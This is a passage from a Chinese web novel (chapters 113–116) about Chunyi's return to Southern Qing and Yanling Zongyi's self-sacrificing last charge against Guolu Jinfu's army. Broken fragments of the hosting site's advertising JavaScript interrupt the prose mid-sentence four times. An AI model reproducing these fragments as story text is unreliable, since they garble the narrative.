纯懿悻悻抿了唇,将脚后跟放回冰面上,扭开头不看他。 两人又等了一会儿,忽然又见到鱼儿的影子,纯懿还是下意识开口提醒:“那……” 虽然她及时闭了嘴,可那鱼却很是警醒,在她出声的瞬间,翻了个身,消失在水流中。 延陵宗隐再次回头看她。纯懿缩了缩脖子,往旁边挪了一小步。 延陵宗隐再次做好下叉准备,纯懿则观察地更加认真,一边寻找着,一边不自觉就小步小步朝着延陵宗隐的方向蹭了过去。待到终于再次见到鱼儿的踪迹,纯懿右手立刻捂住自己嘴巴,左手下意识朝着延陵宗隐探了过去,抓住他的腰侧袍角拼命地摇。 延陵宗隐右臂狠狠将鱼叉抛下。这一次,待他将大刀提起,一条大鱼就鲜灵灵出现在纯懿面前,格外有力地扑腾着。 “哇!”纯懿惊叹,拽着延陵宗隐的袖子,激动地小脸红扑扑的,“真的有!” 延陵宗隐侧过脸,微微垂头,看向不知何时已站在他身边的纯懿,目光深幽。 纯懿完全没有察觉到延陵宗隐的视线。她的全部心神都被这条大鱼所吸引,延陵宗隐便稳稳举着那条大鱼任她去看,他自己则趁着这个时候,像是一个偷到了心心念念的宝物的小偷,紧紧抓住这偷来的片刻,贪婪地看着与他站得极近的纯懿,脸上的神情竟然有些温柔。 纯懿脸上笑容灿烂,双眼都眯成了弯弯的月牙儿,一边指着那条大鱼,一边转头看向身旁的人,笑着与他感叹:“这鱼好大啊,延陵宗隐……” 这个名字出口的刹那,似乎是触碰到了什么关节,纯懿脸上的笑容僵住了。 唇角上扬的弧度渐渐褪去,纯懿的面色重新恢复了淡然。她移开视线,扯着延陵宗隐衣角的手也轻轻滑下,重新交叠置于小腹处,然后后退了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一步,拉开了些两人间的距离。 身边的温暖离开,延陵宗隐阖上双眸,深吸了一口气。他骤然转头,将手中那尾鱼甩到旁边,然后又举起鱼叉,重新摆出一个准备出叉的姿势:“还有更大的。” 白水河在这里拐了一个弯,阳光洒在已经冰封的河面上,蜿蜒而来的河面粼光闪烁,竟然很是壮美,像是一副江山画卷。而在这画卷之上,一个玄色的身影置于其中,却一点都不显突兀,挺拔的身姿和周身的气势竟与这壮美景色融为一体,成为其中点睛一笔。 这幅图卷动人到不经意间,就让这个冬日的白水河,和白水河上的这一幕,都牢牢刻在了纯懿心里,难以忘怀。 刚捕上来的鱼,只撒些盐烤了就很好吃。延陵宗隐亲自动手,拍下鱼身上浸满了厚厚盐巴的鱼皮,露出里面白嫩的鱼肉,又细心地吹了吹,这才递给纯懿:“趁热吃。” 纯懿接过热气腾腾的鱼身子,小小咬了一口,鲜甜的鱼肉便充盈口腔。在延陵宗隐很是期待的注视下,她微点了头,开口道:“南庆军队南撤,现在走到哪里了?他们要从哪个关卡撤出虞娄……” 还没等她说完,延陵宗隐已经打断了她的话。 “都到了现在了,我不想和你吵架。”他冷淡移开视线,又去倒腾自己手上的那条鱼,“吃鱼。” 纯懿也就不再开口。两人就着火堆,安静吃着亲手抓到的鱼肉。 延陵宗隐吃得很快,两三口就将他的那条鱼吃得干干净净。纯懿还比他早开始吃一些,那会儿却也只是吃了一半,又勉强多吃了几口,就觉得腹中饱得厉害,便微微皱了些眉头,有些发愁地看着面前还剩一半的烤鱼。 眼前一花,面前的鱼就离她远去了。延陵宗隐探身从她手中拿走了那半条鱼,也不嫌弃,就着纯懿剩下的部分,大口吃了起来,又是两三口就啃了个干净,只剩下一根光秃秃的骨头。 延陵宗隐随手将那骨头抛开,隔着跳跃的火堆,定定看着纯懿。 纯懿不闪不避,安静与他对视。 不知过了多久,还是延陵宗隐先移开目光。他探手从怀中取出一个小小的瓷瓶,用拇指弹开瓶塞,从里面倒出了一颗小小的、泛着些红色的药丸来。 他将那小药丸置于掌心,递到纯懿面前。 纯懿看了那药丸一眼,抬起眸子,神情很是平静:“我要死了,是吗?” 篝火在延陵宗隐的眸中跳跃,让他幽深的黑眸竟然也染上了温暖的橙色光晕。他看了纯懿许久,似乎是想要将她牢牢刻入心底,终于开口时,声音有些沙哑,递到她面前的手却极稳:“很快的。” 他轻轻的,安慰一般道:“没有痛苦。” 纯懿微微一笑。她伸出手,从延陵宗隐掌中捻起那颗药丸,在指尖旋转片刻,然后抬眸,语气很是温柔:“劳驾,将我葬在南庆吧。” 延陵宗隐没有说话。他薄薄的双唇紧紧抿着,脸上看不出大仇得报的畅意,也没有生死离别的痛苦。 纯懿就笑着对他点头:“你不说话,我就当你答应了。” 然后,没有一点儿迟疑,纯懿抬头,将那颗药丸吞进了嘴里。 晕眩来得很快,果然如延陵宗隐所说,这药没有痛苦。纯懿只觉得整个身子都轻飘飘的,似乎是终于挣脱了所有的禁锢,竟是从未有过的轻松。 眼前已经是一片黑暗,纯懿的身子缓缓委顿于地,却落入了一个炙热的怀抱中。紧紧抱着她的双手剧烈颤抖着,有什么湿润的东西轻柔落在她的额头、眉眼、鼻尖,最后在她双唇上缱绻流连。 最后的最后,在一阵轰然而来的军靴声中,一个低沉的声音落入她的耳中。 “阿陌,你的陆双昂来了。” 114. 第 114 章 昏黄的烛火跳跃着,纯懿缓缓睁开双眼,视野还未清明,就先被一层温暖的橘色光芒所覆盖。 这里是一座帐篷。帐篷本身纯懿倒是很熟悉,正是延陵宗隐拨给她的那一座。可现在,这座帐子却与之前不太一样。桌上床边都燃着灯烛,让帐内的每一个角落都笼罩着暖黄色光晕,她身上盖着一件玄色大氅,上面沾着些尘土,甚至还带着些烟熏味道和烤鱼香气,正是延陵宗隐的那一件。 纯懿摇了摇昏昏沉沉的脑袋。她只记得今日早些时候,延陵宗隐拉着她去抓鱼,然后他们一起烤鱼吃,那鱼的味道很是鲜甜,她吃得很饱,再后面…… 再后面发生了什么来着? 纯懿将双脚伸进端端正正摆在床边的鞋子里,撑着有些沉重的身子从床上下来,先去桌边倒了一杯水。那水的温度正好,湿润了她干涸的嘴唇和喉咙,纯懿仰头一饮而尽,又有些意犹未尽地连喝两杯,这才放下杯子,缓缓朝帐外走去。 一掀开帘子,北地凛冽的寒风便扑面而来,卷起了纯懿披散的长发。她下意识拢了拢衣襟,侧头看向守在她帐门外的塞里,想询问一下现在是什么时辰了。 待视线转过去,却扑了个空。 纯懿怔了怔,又朝另一边看去——还是空空荡荡的。平时雷打不动守在她门口的塞里,今日竟然不见了。 纯懿有些疑惑,迟疑一会儿,抬脚朝着营中空地的方向走去。 延陵宗隐扎营极其老练,主帐之前、营帐最中间处会留下一片宽阔的平地,上面不立帐篷,不设工事,若是有外人潜入,身影无处可躲,会完全暴露在主帐两旁的弓弩手的射程覆盖范围下。而平日的傍晚时分,轮休的兵士们往往也会聚在空地之上,或是谈论战事,或是切磋武艺,总是热闹得很。 可今日,这里也是空空荡荡的,没有一个人,只有比往日更多的火把在烈烈燃烧着,空气里都是浓烈的桐油味道。 纯懿独自一人站在重重营帐包围之中,茫然四顾。整个营地都安静的出奇,只有呼啸的风声和火把燃烧的毕剥之声,除此之外,些微的人声都没有。 纯懿咬了咬唇,转身朝着延陵宗隐的主帐而去,几乎是屏住呼吸掀开了帘子。 果然也是空的。 不仅是这里,所有帐篷中,都是空空荡荡的,甚至连马厩里都是空的,连一根马毛都找不到。似乎是一息之间,延陵宗隐和他的所有部曲都消失了,只留下了纯懿一人在这里,茫然又孤寂。 纯懿完全不知道发生了什么。她正在努力搜寻着之前的记忆时,遥遥有马蹄声传来,越来越响,越来越近,似乎是冲着这里来的。 纯懿立刻后退到主帐旁的阴影里,蹲下身子将自己隐藏起来,只留下一双眼睛,警惕地向外张望。 果然,没过多久,夜幕中就出现了重重人影。一队骑士旋风般冲入营地中,速度极快,一路上将所有拦在他们前面的木障和篷布都狠狠踩于马下,直冲着主帐而来。 当先一人穿着轻甲,身形消瘦,一双眼睛却亮得出奇,勒马停在纯懿刚刚站的位置,皱着眉头环顾四周,然后沙哑着嗓子吩咐:“分头找。小心点。” 没等他说完,已经有一个身影从阴影中跌跌撞撞扑了出来。他身后的一名武士高喊一声“将军小心!”,便驭马向前,挡在那年轻将军身前。 那将军却已翻身下马,也冲着那人奔去:“琅琅!” 纯懿扑进那人怀里,触肤是冰凉的甲衣,她却觉得分外温暖,紧紧环抱住他的腰身:“昂哥哥。” 埋首入陆双昂怀中时,一个低沉的声音隐隐在纯懿耳旁响起,带着来自记忆之中的回响,似乎有谁在她耳边说话:“阿陌,你的陆双昂来了。” 纯懿皱起了眉头,正在努力回想这句话从是哪里听来的、又是谁说的时,陆双昂的声音从头顶传来,带着无限激动和惊喜:“琅琅,你果然在这里!还好吗?” 顿时惊散了刚刚的回想。纯懿也顾不上重新凝起隐约的幻象,将陆双昂抱得更紧了一些,语带哽咽:“我没事,倒是你,昂哥哥,你在蒙古做监军,吃了不少苦吧?有没有受伤?他们有没有欺负你?” 听着纯懿孩子气的话,陆双昂失笑。他一双曾经握笔的手现在已满是皲裂和伤痕,肿胀中泛着紫红色,却格外温柔地在纯懿发间穿梭,耐心回答她幼稚的问题:“不用担心,我也很好。” 然后将纯懿从他怀中挖出来,严肃了些神情:“琅琅,延陵宗隐呢?他在哪里?” 纯懿有些迟疑地摇摇头:“我不知道。我醒来时,他已经不在了,整个营帐就只剩下我一个人了。” 陆双昂咬了牙,抬眸四顾,身旁已经有人回禀:“将军,营地是空的,的确没有人。” 然后又急切道:“既然延陵宗隐不在这里,我们还是赶快走吧。” 陆双昂浑身紧绷着,神情中满是愤恨和不甘,手臂上肌肉几度鼓起,最终还是沉声道:“走。” 他弯下腰,一手护着纯懿的肩背,另一手绕过她的腿弯,将她横抱起来,小心翼翼托举上马背,然后自己踩蹬一跃,便坐于纯懿身后,拨转马头:“出发。” 纯懿陷在陆双昂熟悉的怀抱中,两边景致飞快从眼前掠过。在踏出营门的时候,她鬼使神差般回头,看了那营地最后一眼。 早已空置的营地灯火辉煌,在暗夜中远远便能看得清晰,像是在为谁指引着方向。 纯懿十指握紧陆双昂的衣袖,转回头,与他一起看向眼前的路。 他们这一行人一晚未歇,很快便与正在回撤的南庆大军汇合。听闻陆将军回来了,在这段时间统筹军务的一位副将快步迎了出来,却先是激动唤道:“帝姬!” 然后才惊觉失言,对她拱手,改口道:“长公主。” 眼前这个将领脸都被冻肿了一圈,五官也有些变形,纯懿认真辨认了一会儿,才根据他额角上的伤疤认出了他的身份:“余晚飞?” “是我。”当年的小乞丐现在已经成为言出有声的余副将,可在纯懿面前,却还是笑得有些难为情,“将军将您救出来了,真是太好了!” 陆双昂先将纯懿送下马,自己才跳下马背,与她并肩而立,对余晚飞很是赞赏的点头:“情况怎么样?” 说到正事,余晚飞顿时严肃起来:“还在后面,咬得很紧。” 陆双昂眉心微皱,又问:“贤宁公主和孟大人呢?” “今夜稍前已与大军汇合,孟大人有些疲累,正在营帐中休息,贤宁公主带了人去前面探路,说是天亮前就回。” 陆双昂沉吟一会儿,看看旁边小脸被吹得红彤彤的纯懿,吩咐道:“既然如此,大家先就地休息,待贤宁回来,大军立刻开拔。” 纯懿开始还不明白,为什么陆双昂连一个晚上都等不及。可在第一缕日光出现在天边的同时,他们身后传来“隆隆”的震天马蹄声,让纯懿猛然从半梦半醒间惊起。 虞娄的追兵到了。 与南庆多为轻甲和步兵不同,虞娄骑士都是重甲,就连 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 战马都着着胄衣,每一步都踏得地面“啪啪”作响。就算如此重装,虞娄人擅于马战,前进速度依然很快,像是一片翻腾的乌云,携着肃杀横扫而来。 南庆的战马不如虞娄精悍,有些不安地仰脖长嘶。众人都回头向后张望,脸上神情俱都很是严肃。 陆双昂下令大军全速前进,然后将贤宁唤到身边,两人驭马走到路旁,勒马停下。陆双昂将纯懿从马上抱下来,温柔帮她理了理额前碎发,对她柔声叮嘱:“琅琅,去贤宁那里吧。” 然后又看向贤宁,语气很是郑重:“我把她托付给你,保护好她。” 纯懿心中空荡荡的,下意识紧抓住陆双昂的衣袖,急切道:“昂哥哥,那你呢?” “我是主将,虞娄人追来了,我要去阻拦他们,”陆双昂没想着要欺瞒纯懿,一边将自己的计划说给她听,一边对着她微笑,“至少要为大军争取一些时间,能朝南多走一步,也是好的。” 其实,早在他将贤宁唤过来的时候,或者更早一点,在他们看到虞娄追兵的时候,纯懿就已经知道了陆双昂的选择。她沉默一瞬,点点头,然后道:“昂哥哥,我与你一起去。” “胡说什么,”陆双昂的眉头皱在一起,立时拒绝,“太危险了,不行。” “昂哥哥,我已经不是那个只能躲在你身后的帝姬了,”纯懿也很坚持,“我在虞娄待了那么久,多少还是了解虞娄人的。更何况,若是来的人是……” 她骤然收声,顿了一下,才继续道:“我一定不会拖你后腿的,昂哥哥。” 他们简单几句话的功夫,身后的追兵声势更加浩大,前锋已经几乎要与南庆的后卫相接。 陆双昂极目远眺,判断了下情况,回头对上纯懿坚定又殷切的视线,沉默一瞬,终于肃声道:“那好,我们一起去。但是琅琅,若我让你回撤,你必须退回来,你可能答应我?” 纯懿自然点头,贤宁将自己的马让给纯懿,自己又牵了一匹来。三人拨马回头,正要逆着南庆军队返回,忽然,斜刺里又出现了一支军队。 这支队伍人不太多,却人人精悍,一个个身子低伏,紧贴在马背上,手上提着大刀,前进的速度极快。 冲在最前面的,是一个身材健壮的男人。他没有穿大氅,只着一身玄色骑装,腰间和四肢都由皮革紧束,随着奔腾的战马,肩背肌肉贲张,将有些单薄的骑装崩得鼓鼓囊囊,更显得肩宽背阔,腰细腿长。 他的黑发在身后飘扬,额前一块金属额饰,在初曦的日光中闪烁着微暗的光。他脸色沉凝,没有朝着纯懿这边投来一眼,带领着身后的骑士们沿着两军交接处飞快掠过,如同一支离弦的箭,径直冲入了虞娄大军中。 重装的虞娄军阵被这突如其来的一支队伍冲垮,阵型顿时七零八落,慌忙应战。这支队伍便如入无人之境,举着大刀肆意砍杀。 最初的慌乱之后,虞娄军阵中很快就有人认出了这支队伍的统领。顿时,斥责声、质问声、叫骂声,便交替传来,甚至连纯懿和陆双昂他们都清晰可闻。 纯懿呆呆地看着远处的战阵,那里,两方正在激烈交战,刀刀见血。南庆军队却抓住这难得的时机,全力疾驰,离那战场越来越远,终于彻底离开了虞娄箭阵的覆盖范围。 陆双昂当机立断,一手牵着自己的马缰,另一手拉着纯懿的胳膊,将她凌空抱到自己身前,然后调转马头,大喝一声“驾”。 落在纯懿眼中的那个背影就越来越小,越来越模糊,最终消失不见。 115. 第 115 章 再一次与紧追不舍的国禄金拂交战之后,陆双昂鸣金收兵,寻了个位置停军修整。 纯懿有些心神不宁,去寻正在统计战损的贤宁,犹豫了许久,才开口问:“这次我们伤亡情况如何?” 贤宁一边在战士名册上勾勾画画,一边忍不住心中庆幸感叹:“这次还好……最近这几次都还好,没有牺牲的,受伤的也少了许多,毕竟有……” 她猛然收声,也没干抬头去看纯懿一眼,埋着头继续在名册上标记。 纯懿却知道贤宁说的“毕竟有”什么。她心烦意乱地点头,缓步走到大军后方,朝着一望无垠的苍茫大地张望。 这一路上,延陵宗隐都率领着他的精锐部曲,遥遥跟在南庆大军身后。开始的时候,陆双昂还对此十分紧惕,甚至还带了陆家军亲兵折返回去,想要寻延陵宗隐报仇。 可延陵宗隐不愧是少时起就在战场上真刀真枪磨练出来的,明明就跟在他们不远处,可却神出鬼没的,陆双昂绕了好几圈,愣是没能找到他们的踪迹。 可在国禄金拂追了上来,对南庆军队发起进攻的时候,延陵宗隐又带着他的人马,如同鬼魅一般地出现了——却是对着国禄金拂发起进攻,掩护南庆军队离开。 因为有了他的帮助,南庆大军回撤的速度快了许多,连战损减员都大大降低。 这般次数多了,虽然国禄金拂和陆双昂都不明白他为什么要帮南庆军队,两人却都将他看做是站在南庆这边,至少是暂时站在南庆这边。 陆双昂大胆放松了后卫的防守,命令大军全力前进,国禄金拂则对延陵宗隐恨之入骨,新仇旧恨加在一起,就连纯懿都看出,他对延陵宗隐没有丝毫留情,甚至还会在他们出现的时候,放弃追击南庆军队,转而去全力攻击延陵宗隐,似乎是铁了心要在这里将他砍了。 延陵宗隐可以说是帮南庆大军吸引了国禄金拂的大部分注意,这也让贤宁私下里嘀咕好久了:就算如此,每次交战之后,他们这里都还是会多不少伤员,延陵宗隐那边人数本就不多,每次又都是深入国禄金拂军中,伤亡理应比他们更大,迟早会有打光的一天……他们还能撑多久啊? 纯懿也不知道。她站在最接近他的地方,极目远眺,却什么都看不到,只有荒原的风刮过,将她裸露在外的皮肤冻得刺痛。 黑塔也很心疼自家郎主。他默默看了一会儿,脱下自己的披风,摊开之后举过头顶,帮延陵宗隐尽量遮挡着呼啸的寒风。 却也聊胜于无。延陵宗隐上半身赤裸着,大片大片的皮肤直接暴露在冬日的寒凉中。不知是因着寒冷还是失血过多,他的皮肤透出隐隐的青色,身上遍布着深红浅红的新旧伤疤,狰狞又可怖。 日则医官半跪在他面前,动作麻利帮他处理刚刚新添上的几道伤口,又去拆牢牢裹覆着的棉巾。拆到最后贴着伤口血肉的那一层时,见惯了鲜血的日则医官也不由慢下了动作,很是担忧地开口: “郎主,伤口太深太严重,血和新肉都已经与棉巾粘在了一起,揭开会很疼……我会尽量轻一些的。” 延陵宗隐盘腿坐在冰凉坚硬的冻土之上。他姿势随意,上身褪下的衣衫散在腰间,又胡乱落在地上,被围拢其中的一条脊背挺直,似乎是丝毫感受不到疼痛一般。听到日则医官的话,延陵宗隐轻嗤一声,开口时声音沙哑的厉害,简直像是呼呼作响的破风箱: “挨砍的时候见了骨头,缝的时候也没有麻药,拆个棉巾而已,不算什么。” 日则医官不忍开口,默默点头,却还是尽量放轻了动作,开始撕最后一层棉巾。饶是如此,延陵宗隐浑身的肌肉还是骤然紧绷,身子控住不住地轻颤着,在滴水成冰的冬日里,额上竟出了一层密密的细汗,呼吸声也骤然粗重起来,显然是痛极。 延陵宗隐却紧咬着牙一声不吭,连一句呻吟和轻哼都没有。 他黑眸深沉,颊侧肌肉紧缩,双手也微微颤抖,可拇指和食指合拢的动作却依旧轻柔。有时痛到刺骨,他的视线便会下意识垂下,隐忍看着手中捏着的纸册,似乎只是看着,就能从其中获得些力量,撑着他捱过这堪比酷刑的煎熬。 在他指尖,露出了精致的花笺一角。花笺通体洒金,用珍贵的丝绸包边,随着寒风传来阵阵幽香。虽然折页处已经有些发毛,明显是经常被人放在手中摩挲,可却没有一点卷角,甚至在见血要命的战场上走了几个来回,都没有沾上一点血污,显然是被人精心保管着的。 随着最后一点棉巾被生生从伤口处扯下,一条几乎横贯了前胸的伤口便骤然出现在眼前,就是上药处理之后也仍是血肉模糊,可想而知当时这伤有多重。日则医官想破了头也没明白,受了如此严重的伤,延陵宗隐是怎么撑着一路策马前行,又是怎么一次又一次冲入国禄金拂的军阵中,直面蜂拥而来的刀戈剑戟的。 延陵宗隐任由日则医官帮他重新处理伤口,又包上新的棉巾。他将那花笺珍惜地摆在自己衣服之上,避免被地上的雪泥沾湿,五指在上面遒劲的字迹上轻轻摩挲着,甚至带着些珍重的小心翼翼: 亲家延陵氏,以第二令郞宗隐与一十二院小娘露陌缔亲,言念立冰既兆,适谐凤吉之占;种玉未成,先拜鱼笺之宠,虽若太简,不替初心。自愧家贫,莫办帐幄之具;敢祈终惠,少加筐篚之资。谅惟台慈,特赐鉴察。 延陵宗隐指尖在“露陌”二字上反复流连,唇角不自觉地微微勾起,竟然是在笑。 忽然,远处传来一阵沉闷的马蹄声,和战士们的嘶吼声。一个亲卫带着一脸血污跑过来,对着延陵宗隐躬身汇报:“郎主,他们又打上了。” 延陵宗隐依旧低垂着眸子,恋恋不舍将指尖从那花笺上移开,又将另一只手上的血汗在衣服上擦干净,这才小心翼翼折起那定贴,珍而重之放入贴身的夹层之中。 然后,他也不顾“哎哎”喊着的日则医官,干脆利落将那棉巾划断,随意一掖,就起身朝着战马大步而去。一边走着,一边伸展双臂穿着衣裳,待他已经翻身上马,才堪堪系好最后一根绳结。 延陵宗隐提起大刀,只一个“走”字,便又率着所剩不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多的部曲,朝着远处的战场奔去。 一路走,一路送,很快,燕京城巍峨的城墙已经遥遥可见。 燕京城守军早已得知了大军回朝的消息,守将在城头看到疾驰而来的陆字旗,急忙命令打开大门,放下吊桥。大军飞速从桥上经过,待最后一名士兵也小跑着进入城内,沉重的吊桥吱吱呀呀又被吊起,城内守军立刻严阵以待,警戒着随后而来的虞娄追兵。 先出现的,却是一小支军队。 这支小队人数不多,没打旗帜,也没穿甲胄,因着长途跋涉、多番作战,各个都狼狈得很,甚至都看不清是哪方人马。燕京守将将身子探出城墙,正皱着眉辨认他们的身份,一道冷冷的声音忽然在他耳边响起。 “那是虞娄人,”陆双昂已快步走到城墙之上,双眸中充斥着强烈的恨意,“放箭!” “是!”守将立刻就要下令,一道还在微喘的女声忽然响起,很是急切:“等等!” 一位骑装娘子踉踉跄跄赶了过来。对上陆双昂和守将投来的目光,她似乎这才骤然醒悟自己说了什么,有些懊恼地咬了双唇,垂着头不再说话了。 陆双昂视线非常犀利,他深深呼吸,才压抑住自己胸腔充斥的怒意,努力克制着自己的声音,不要吓到她。 “琅琅。”他说,“你知道自己在说什么,又在为谁求情吗?” 纯懿手指捏紧衣袖,别过脸没有回答。 陆双昂站在纯懿面前,两人并肩而立,风卷起他的袍角,与她的纠缠在一起。陆双昂抬手,动作轻柔帮纯懿将散开的发丝掖到耳后,沉声道:“我要杀了他,琅琅。我一定要杀了他。” 巍峨高耸的城墙上,两个身影亲密挨在一起。延陵宗隐骑在马上,黑眸眯起,遥望着那里,心中竟然非常平静。 黑塔回头张望片刻,驭马走到延陵宗隐身边,急切道:“郎主,人我们已经送到,就赶快撤吧,失木错他们已经在西边等着我们了。现在最要紧的是保存实力,建国图强,要是那个时候您还放不下徐娘子,黑塔一定陪您再打到临安,将她抓回来!” 再打一次? 延陵宗隐没有回答,视线从高高的城墙缓缓下移,落到城门处。 不久之前,她在陆双昂的护卫下,策马飞驰入城的背影似乎还在眼前,他想,他会永远记住她离开的最后一个画面。 战马忽然不安地踱步,城墙上的旗子陡然一挥,利箭破空声传来。成百上千支箭矢织成细密的网,朝着延陵宗隐铺天盖地地罩来,挟着满满的杀意,誓要将延陵宗隐的命留在燕京城下。 黑塔众人急忙将延陵宗隐围在中央,挥刀闪躲。就算在刺耳的啸鸣之声中,黑塔愤怒的喊声仍清晰可闻:“要不是老子们,你们能躲在城头射冷箭吗?这些个忘恩负义的狗崽子!” 一片混乱中,只有延陵宗隐不动如山。他高踞马上,缓缓抬头,静静看向城墙上那个纤细的身影。 阿陌,你说我从来不肯顾及你的感受,这一次,我就遂你心意,彻底消失在你的世界里。 116. 第 116 章 燕京城上的箭阵还在继续,天边处又传来“隆隆”的声响,身着重甲的兵士和战马出现在远方,以一种要推平天地间一切阻碍的架势,向着燕京城压迫而来。 燕京城外却早已没有行人车马,只有延陵宗隐一行人而已。 纯懿站在高高的城墙上,仿佛看到了国禄金拂得意的脸。看来他真的是对延陵宗隐恨之入骨,明知道他此行追击的对象南庆大军已撤入燕京城,却还是锲而不舍追到了这里,醉翁之意,路人皆知。 陆双昂挥手,暂停的箭阵。随着最后一支羽箭被黑塔挥落于地,燕京城内外安静的出奇。不管是虞娄人还是南庆人,都沉默不语,安静看着眼前事态的发展。 果然,虞娄阵营前一位将军策马而出,正是全身着甲的国禄金拂。他一人行至阵前,手里提着马鞭遥遥指向延陵宗隐,对延陵宗隐破口大骂,除了杀害功臣、构陷忠良之外,这次还加上了临阵弃城、叛国背君的大罪。 显然是下定了决心,就算在这里杀不了延陵宗隐,他也要让延陵宗隐彻底无法在虞娄立足,甚至是再无法返回上京了。 随着国禄金拂慷慨激昂的喝骂之声,他身边的将士们各个横眉怒目,将手中弓箭拉满、大刀举高,不时伴着国禄金拂的话语发出“哈!哈!”的高喝,为国禄金拂助威。 原因无他,延陵宗隐的战力太过强悍,这一路上他们的大多战损,反而不是来自南庆军队,却是延陵宗隐贡献最多。 在整齐划一、气势震天的呼喝声中,延陵宗隐再次侧头,望向燕京城墙上那个纤细的身影。 延陵宗隐一直都知道,纯懿娉婷袅娜、身姿纤弱,可这般遥遥看去,在一众高大汉子的衬托下,她着实是瘦得太过,甚至有些迎风即折了。 延陵宗隐心中不由有些懊恼——她在他身边那么长时间,怎么就没有将她养胖一些呢?就算她不喜荤腥,就算得她冷眼、惹她生气,他也应该多多逼着她吃一些才是。 她这么瘦弱,又离了他身边,他怎么能放心呢? 不过—— 延陵宗隐的视线转向她的旁边,那里站了一个挺拔的男人。虽然陆双昂的身形也偏清瘦,可他身上已带上了属于男人的霸气和杀意,以保护者的姿态站在她旁边,作为她的依靠。 他们都不知道,其实他与陆双昂的初次见面,是在汴京城的街头。她放火烧了醉倚楼,从他手中逃脱。他身受重伤,被黑塔拼死救出,就在混乱的街头,他看到了在街上无措奔跑的她。 那个时候的他满心充斥着屈辱和恨意,甩开黑塔的阻拦,冲着她大步而去——他绝不会放过她。就在他离她只有几步之遥的时候,陆双昂出现了。陆双昂的脸上还带着少年意气,可落在他的眼中,就有些过于青涩甚至幼稚了。 他站在阴影中,冷眼看着他们二人在街头紧紧相拥,似乎就连眼泪都是圆满的。他轻嗤一声转身离开,却已然确定,这个男人护不住她。 作为男人,他看不起陆双昂。可是现在,他却为着陆双昂的蜕变而暗自庆幸。 因为,她喜欢啊。 阿陌,以后,你还是南庆金尊玉贵的公主,是陆双昂的掌中珍宝,再不用担心我突然出现,毁了你的一切。 我送你一路归家,亲眼看着你入城,也就能放心,坦然面对属于我的结局。 阿陌,如你所说,我是一个自私的人,这次好不容易大度一次,想要如你所愿。这一路上,我无数次想要反悔,想要将你禁锢在我身边,哪怕最后我们一起死,也要让你死在我怀里。 但是,我怎么舍得让你死呢? 你放心,这一次,我不会给我自己反悔的机会的。 延陵宗隐收回凝望着燕京城头的目光,双臂收紧,缓缓拨转马头。再抬眼时,他黑眸中已经带上了点点猩红,双手有些微微颤抖,却将他已砍得有些卷刃的大刀紧紧握在手里。 国禄金拂还在唾沫横飞的怒骂延陵宗隐,忽然,眼前的男人双脚一磕马腹,战马前蹄扬起,高声嘶鸣之后,撒开四蹄,犹如一支离弦的箭,冲着他急速奔来。 延陵宗隐浑身煞气过于明显,国禄金拂吓了一跳,也顾不上继续痛骂他了,下意识调转马头,飞快逃回大军之中。 延陵宗隐却丝毫没有减速,反而将双脚再次狠狠磕上马腹。 他只一人、一刀、一马,以极快的速度冲入国禄金拂的军阵,引起一阵骚乱。 可到底是只有一人而已。在恼羞成怒的国禄金拂的指挥下,虞娄大军将他团团围在中间,他左右冲杀的身影很快便陷于似乎无边无际的兵士之中,犹如落入白水河中的一滴水珠,消失不见。 延陵宗隐的精锐部曲们怒目圆睁,纷纷握紧大刀,有那性急的,已经要驾马随着延陵宗隐冲进军阵里去。 可却被一只大手拦住了。 黑塔整张脸已经通红,向来铁血的汉子,此刻眼中竟然闪着泪光。他也抬眸,朝着延陵宗隐刚刚久久凝望的燕京城墙看去,待见到那个纤瘦的身影依然站在墙头,这才转头,又朝着延陵宗隐身影消失的地方投去最后一瞥。 然后,他抬起胳膊,用自己的衣袖胡乱抹了一把脸,沉声道“走。” 旁边的兵士顿时震惊,失声道:“统领!” “我说走!” 黑塔怒喝一声,带着剩余不多的手下,从侧边退出了战场。 黑塔等人的身影很快消失不见,而围拢在一起的虞娄兵士们终于散开。纯懿纤细的手指几乎陷入城砖灰土之中,脚后跟也不自觉高高踮起,朝着那边张望。 延陵宗隐的身影终于再次显露了出来。 他的战马早已不知所踪,身形却依旧高大健壮,长腿张开,与肩同宽,右手拄着大刀,稳稳立于军阵最中,刚健又挺拔。 只是他的身上,已经刺满了刀箭。 一串又一串鲜血顺着他手中大刀蜿蜒流淌,鲜艳又粘稠,落在地上,将他周围的泥土染成黑褐色。 他额上的金属额饰已被血污遮掩,失去了所有光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 芒,脸上全是血迹和伤口,几乎都看不清他英俊的五官和凌厉的颌线,一双眸子依旧极黑,犹如深不见底的黑潭,抬起眼皮时视线却是从未有过的明亮,甚至似乎带上了些微的笑意,遥遥望着前方。 延陵宗隐的视线其实早已模糊,已经找不到她在哪里,可她的身影却又早已牢牢镌刻在他心底,不看也很是清晰。他张开双唇,想要说些什么,大口大口的鲜血却从他口中涌出,怎么咽都咽不完。 包着满嘴的鲜血,延陵宗隐竟然笑了。 阿陌,今生纠葛,爱恨执念,就此了结。 我是从来都不信神佛的人,可是,我愿用我的全部,向满天神佛祈愿,来世,我还能与你相见。 下一次,我一定不会再放开你的手。我不会再做任何让你伤心的事,我会比陆双昂更早找到你,比他对你更好,比他更努力赢得你的欢心。 阿陌,你说过,你出生在早晨,降生的那一刻,金芒绚烂,露水消没。你也说过,鹔鹴飞则陨霜,霜,就是落下的露。 那这一次,就让我来消没吧。 延陵宗隐的身影轰然倒地时,燕京城头上一片欢腾。当年,就是这个人率领大军围困汴京,灭亡大庆,现在,他死在南庆国门之外,死在虞娄人手中,当真是天理昭昭,因果报应。 陆双昂将纯懿揽入怀里。他的声音中也透着压抑不住的痛快:“琅琅,看到了吗?他死了!琅琅,你再不用担心他再次出现,威胁你、强迫你了!” 他将她揽得更用力一些,声音穿过周围的热烈,轻轻落入她耳中:“琅琅,父皇为你取名‘露陌’,就是不想让你像露水一样容易消没,他希望你如同文帝曹丕的露陌宝刀一般,靡所任兹,永世宝持。” “琅琅,你做到了。我,还有父皇,还有母后和皇兄,我们都为你骄傲。” 